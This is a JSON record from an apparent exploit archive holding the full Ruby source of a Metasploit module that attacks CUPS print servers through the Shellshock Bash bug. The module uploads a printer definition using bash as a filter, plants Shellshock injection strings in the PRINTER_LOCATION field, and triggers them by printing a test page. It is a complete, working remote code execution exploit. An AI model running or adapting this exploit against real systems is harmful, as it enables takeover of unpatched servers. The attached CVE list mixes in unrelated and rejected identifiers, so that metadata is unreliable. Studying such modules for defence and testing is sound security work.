{"exploit":{"id":"EDB-35115","name":"CUPS Filter - 'Shellshock' Bash Environment Variable Code Injection (Metasploit)","description":"CUPS Filter - 'Shellshock' Bash Environment Variable Code Injection (Metasploit)","cves":["CVE-2014-7910","CVE-2014-7227","CVE-2014-7196","CVE-2014-7169","CVE-2014-62771","CVE-2014-6271","CVE-2014-3671","CVE-2014-3659"],"author":"Metasploit","published":"2014-10-29","platform":"linux","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/35115","path":"exploits/linux/remote/35115.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-35115.rb","vulnerabilities":[{"id":"CVE-2014-7910","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple unspecified vulnerabilities in Google Chrome before 39.0.2171.65 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-7910","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-7910"},"updatedAt":"2024-08-06T13:03:27.647Z","retrievedAt":"2026-11-26T16:47:31.157Z","stale":false,"error":null},{"id":"CVE-2014-7227","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2014-10-03T17:57:01.000Z","retrievedAt":"2026-11-26T16:47:27.261Z","stale":false,"error":null},{"id":"CVE-2014-7196","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2015-02-15T18:57:00.000Z","retrievedAt":"2026-11-26T16:47:27.284Z","stale":false,"error":null},{"id":"CVE-2014-7169","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-7169","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-7169"},"updatedAt":"2025-10-22T00:05:36.027Z","retrievedAt":"2026-11-26T16:47:27.327Z","stale":false,"error":null},{"id":"CVE-2014-62771","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2024-09-16T23:46:33.439Z","retrievedAt":"2026-11-26T16:47:27.335Z","stale":false,"error":null},{"id":"CVE-2014-6271","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka \"ShellShock.\" NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271"},"updatedAt":"2025-10-22T00:05:36.342Z","retrievedAt":"2026-11-26T16:21:04.123Z","stale":false,"error":null},{"id":"CVE-2014-3671","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2014-10-13T18:57:00.000Z","retrievedAt":"2026-11-26T16:47:27.364Z","stale":false,"error":null},{"id":"CVE-2014-3659","state":"REJECTED","title":null,"titleSource":null,"description":null,"descriptionSource":null,"descriptionUrl":null,"cvss":null,"updatedAt":"2014-09-25T05:57:00.000Z","retrievedAt":"2026-11-26T16:47:27.368Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-35115.png?v=2","url":"https://exploitbin.com/exploits/EDB-35115","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-35115/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-35115/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit4 < Msf::Exploit::Remote\n  Rank = GoodRanking\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name' => 'CUPS Filter Bash Environment Variable Code Injection',\n      'Description' => %q{\n        This module exploits a post-auth code injection in specially crafted\n        environment variables in Bash, specifically targeting CUPS filters\n        through the PRINTER_INFO and PRINTER_LOCATION variables by default.\n      },\n      'Author' => [\n        'Stephane Chazelas', # Vulnerability discovery\n        'lcamtuf', # CVE-2014-6278\n        'Brendan Coles <bcoles[at]gmail.com>' # msf\n      ],\n      'References' => [\n        ['CVE', '2014-6271'],\n        ['CVE', '2014-6278'],\n        ['EDB', '34765'],\n        ['URL', 'https://access.redhat.com/articles/1200223'],\n        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']\n      ],\n      'Privileged' => false,\n      'Arch' => ARCH_CMD,\n      'Platform' => 'unix',\n      'Payload' =>\n        {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\\x0A\\x0D\",\n          'DisableNops' => true\n        },\n      'Compat' =>\n        {\n          'PayloadType' => 'cmd',\n          'RequiredCmd' => 'generic bash awk ruby'\n        },\n      # Tested:\n      # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)\n      # - CUPS version 1.5.3 on Debian 7 (x64)\n      # - CUPS version 1.6.2 on Fedora 19 (x64)\n      # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)\n      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],\n      'DefaultTarget' => 0,\n      'DisclosureDate' => 'Sep 24 2014',\n      'License' => MSF_LICENSE\n    ))\n    register_options([\n      Opt::RPORT(631),\n      OptBool.new('SSL', [ true, 'Use SSL', true ]),\n      OptString.new('USERNAME', [ true, 'CUPS username', 'root']),\n      OptString.new('PASSWORD', [ true, 'CUPS user password', '']),\n      OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),\n      OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])\n    ], self.class)\n  end\n\n  #\n  # CVE-2014-6271\n  #\n  def cve_2014_6271(cmd)\n    %{() { :;}; $(#{cmd}) & }\n  end\n\n  #\n  # CVE-2014-6278\n  #\n  def cve_2014_6278(cmd)\n    %{() { _; } >_[$($())] { echo -e \"\\r\\n$(#{cmd})\\r\\n\" ; }}\n  end\n\n  #\n  # Check credentials\n  #\n  def check\n    @cookie = rand_text_alphanumeric(16)\n    printer_name = rand_text_alphanumeric(10 + rand(5))\n    res = add_printer(printer_name, '')\n    if !res\n      vprint_error(\"#{peer} - No response from host\")\n      return Exploit::CheckCode::Unknown\n    elsif res.headers['Server'] =~ /CUPS\\/([\\d\\.]+)/\n      vprint_status(\"#{peer} - Found CUPS version #{$1}\")\n    else\n      print_status(\"#{peer} - Target is not a CUPS web server\")\n      return Exploit::CheckCode::Safe\n    end\n    if res.body =~ /Set Default Options for #{printer_name}/\n      vprint_good(\"#{peer} - Added printer successfully\")\n      delete_printer(printer_name)\n    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)\n      vprint_error(\"#{peer} - Authentication failed\")\n    elsif res.code == 426\n      vprint_error(\"#{peer} - SSL required - set SSL true\")\n    end\n    Exploit::CheckCode::Detected\n  end\n\n  #\n  # Exploit\n  #\n  def exploit\n    @cookie = rand_text_alphanumeric(16)\n    printer_name = rand_text_alphanumeric(10 + rand(5))\n\n    # Select target CVE\n    case datastore['CVE']\n    when 'CVE-2014-6278'\n      cmd = cve_2014_6278(payload.raw)\n    else\n      cmd = cve_2014_6271(payload.raw)\n    end\n\n    # Add a printer containing the payload\n    # with a CUPS filter pointing to /bin/bash\n    res = add_printer(printer_name, cmd)\n    if !res\n      fail_with(Failure::Unreachable, \"#{peer} - Could not add printer - Connection failed.\")\n    elsif res.body =~ /Set Default Options for #{printer_name}/\n      print_good(\"#{peer} - Added printer successfully\")\n    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)\n      fail_with(Failure::NoAccess, \"#{peer} - Could not add printer - Authentication failed.\")\n    elsif res.code == 426\n      fail_with(Failure::BadConfig, \"#{peer} - Could not add printer - SSL required - set SSL true.\")\n    else\n      fail_with(Failure::Unknown, \"#{peer} - Could not add printer.\")\n    end\n\n    # Add a test page to the print queue.\n    # The print job triggers execution of the bash filter\n    # which executes the payload in the environment variables.\n    res = print_test_page(printer_name)\n    if !res\n      fail_with(Failure::Unreachable, \"#{peer} - Could not add test page to print queue - Connection failed.\")\n    elsif res.body =~ /Test page sent; job ID is/\n      vprint_good(\"#{peer} - Added test page to printer queue\")\n    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)\n      fail_with(Failure::NoAccess, \"#{peer} - Could not add test page to print queue - Authentication failed.\")\n    elsif res.code == 426\n      fail_with(Failure::BadConfig, \"#{peer} - Could not add test page to print queue - SSL required - set SSL true.\")\n    else\n      fail_with(Failure::Unknown, \"#{peer} - Could not add test page to print queue.\")\n    end\n\n    # Delete the printer\n    res = delete_printer(printer_name)\n    if !res\n      fail_with(Failure::Unreachable, \"#{peer} - Could not delete printer - Connection failed.\")\n    elsif res.body =~ /has been deleted successfully/\n      print_status(\"#{peer} - Deleted printer '#{printer_name}' successfully\")\n    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)\n      vprint_warning(\"#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.\")\n    elsif res.code == 426\n      vprint_warning(\"#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.\")\n    else\n      vprint_warning(\"#{peer} - Could not delete printer '#{printer_name}'\")\n    end\n  end\n\n  #\n  # Add a printer to CUPS\n  #\n  def add_printer(printer_name, cmd)\n    vprint_status(\"#{peer} - Adding new printer '#{printer_name}'\")\n\n    ppd_name = \"#{rand_text_alphanumeric(10 + rand(5))}.ppd\"\n    ppd_file = <<-EOF\n*PPD-Adobe: \"4.3\"\n*%==== General Information Keywords ========================\n*FormatVersion: \"4.3\"\n*FileVersion: \"1.00\"\n*LanguageVersion: English\n*LanguageEncoding: ISOLatin1\n*PCFileName: \"#{ppd_name}\"\n*Manufacturer: \"Brother\"\n*Product: \"(Brother MFC-3820CN)\"\n*1284DeviceID: \"MFG:Brother;MDL:MFC-3820CN\"\n*cupsVersion: 1.1\n*cupsManualCopies: False\n*cupsFilter: \"application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash\"\n*cupsModelNumber: #{rand(10) + 1}\n*ModelName: \"Brother MFC-3820CN\"\n*ShortNickName: \"Brother MFC-3820CN\"\n*NickName: \"Brother MFC-3820CN CUPS v1.1\"\n*%\n*%==== Basic Device Capabilities =============\n*LanguageLevel: \"3\"\n*ColorDevice: True\n*DefaultColorSpace: RGB\n*FileSystem: False\n*Throughput: \"12\"\n*LandscapeOrientation: Plus90\n*VariablePaperSize: False\n*TTRasterizer: Type42\n*FreeVM: \"1700000\"\n\n*DefaultOutputOrder: Reverse\n*%==== Media Selection ======================\n\n*OpenUI *PageSize/Media Size: PickOne\n*OrderDependency: 18 AnySetup *PageSize\n*DefaultPageSize: BrLetter\n*PageSize BrA4/A4:        \"<</PageSize[595 842]/ImagingBBox null>>setpagedevice\"\n*PageSize BrLetter/Letter:      \"<</PageSize[612 792]/ImagingBBox null>>setpagedevice\"\nEOF\n\n    pd = Rex::MIME::Message.new\n    pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name=\"PPD_FILE\"; filename=\"#{ppd_name}\"))\n    pd.add_part(\"#{@cookie}\", nil, nil, %(form-data; name=\"org.cups.sid\"))\n    pd.add_part(\"add-printer\", nil, nil, %(form-data; name=\"OP\"))\n    pd.add_part(\"#{printer_name}\", nil, nil, %(form-data; name=\"PRINTER_NAME\"))\n    pd.add_part(\"\", nil, nil, %(form-data; name=\"PRINTER_INFO\")) # injectable\n    pd.add_part(\"#{cmd}\", nil, nil, %(form-data; name=\"PRINTER_LOCATION\")) # injectable\n    pd.add_part(\"file:///dev/null\", nil, nil, %(form-data; name=\"DEVICE_URI\"))\n\n    data = pd.to_s\n    data.strip!\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin'),\n      'ctype' => \"multipart/form-data; boundary=#{pd.bound}\",\n      'data' => data,\n      'cookie' => \"org.cups.sid=#{@cookie};\",\n      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])\n    )\n  end\n\n  #\n  # Queue a printer test page\n  #\n  def print_test_page(printer_name)\n    vprint_status(\"#{peer} - Adding test page to printer queue\")\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'printers', printer_name),\n      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n      'cookie' => \"org.cups.sid=#{@cookie}\",\n      'vars_post' => {\n        'org.cups.sid' => @cookie,\n        'OP' => 'print-test-page'\n      }\n    )\n  end\n\n  #\n  # Delete a printer\n  #\n  def delete_printer(printer_name)\n    vprint_status(\"#{peer} - Deleting printer '#{printer_name}'\")\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'admin'),\n      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n      'cookie' => \"org.cups.sid=#{@cookie}\",\n      'vars_post' => {\n        'org.cups.sid' => @cookie,\n        'OP' => 'delete-printer',\n        'printer_name' => printer_name,\n        'confirm' => 'Delete Printer'\n      }\n    )\n  end\n\nend","sha256":"7c374059201dd5a3b8bea462d62e070e19e192572e6d5a4fe1498212e893a570","bytes":9459,"fetchedAt":"2026-11-27T06:10:24.364Z","encoding":"utf-8 (display only; download retains original bytes)"}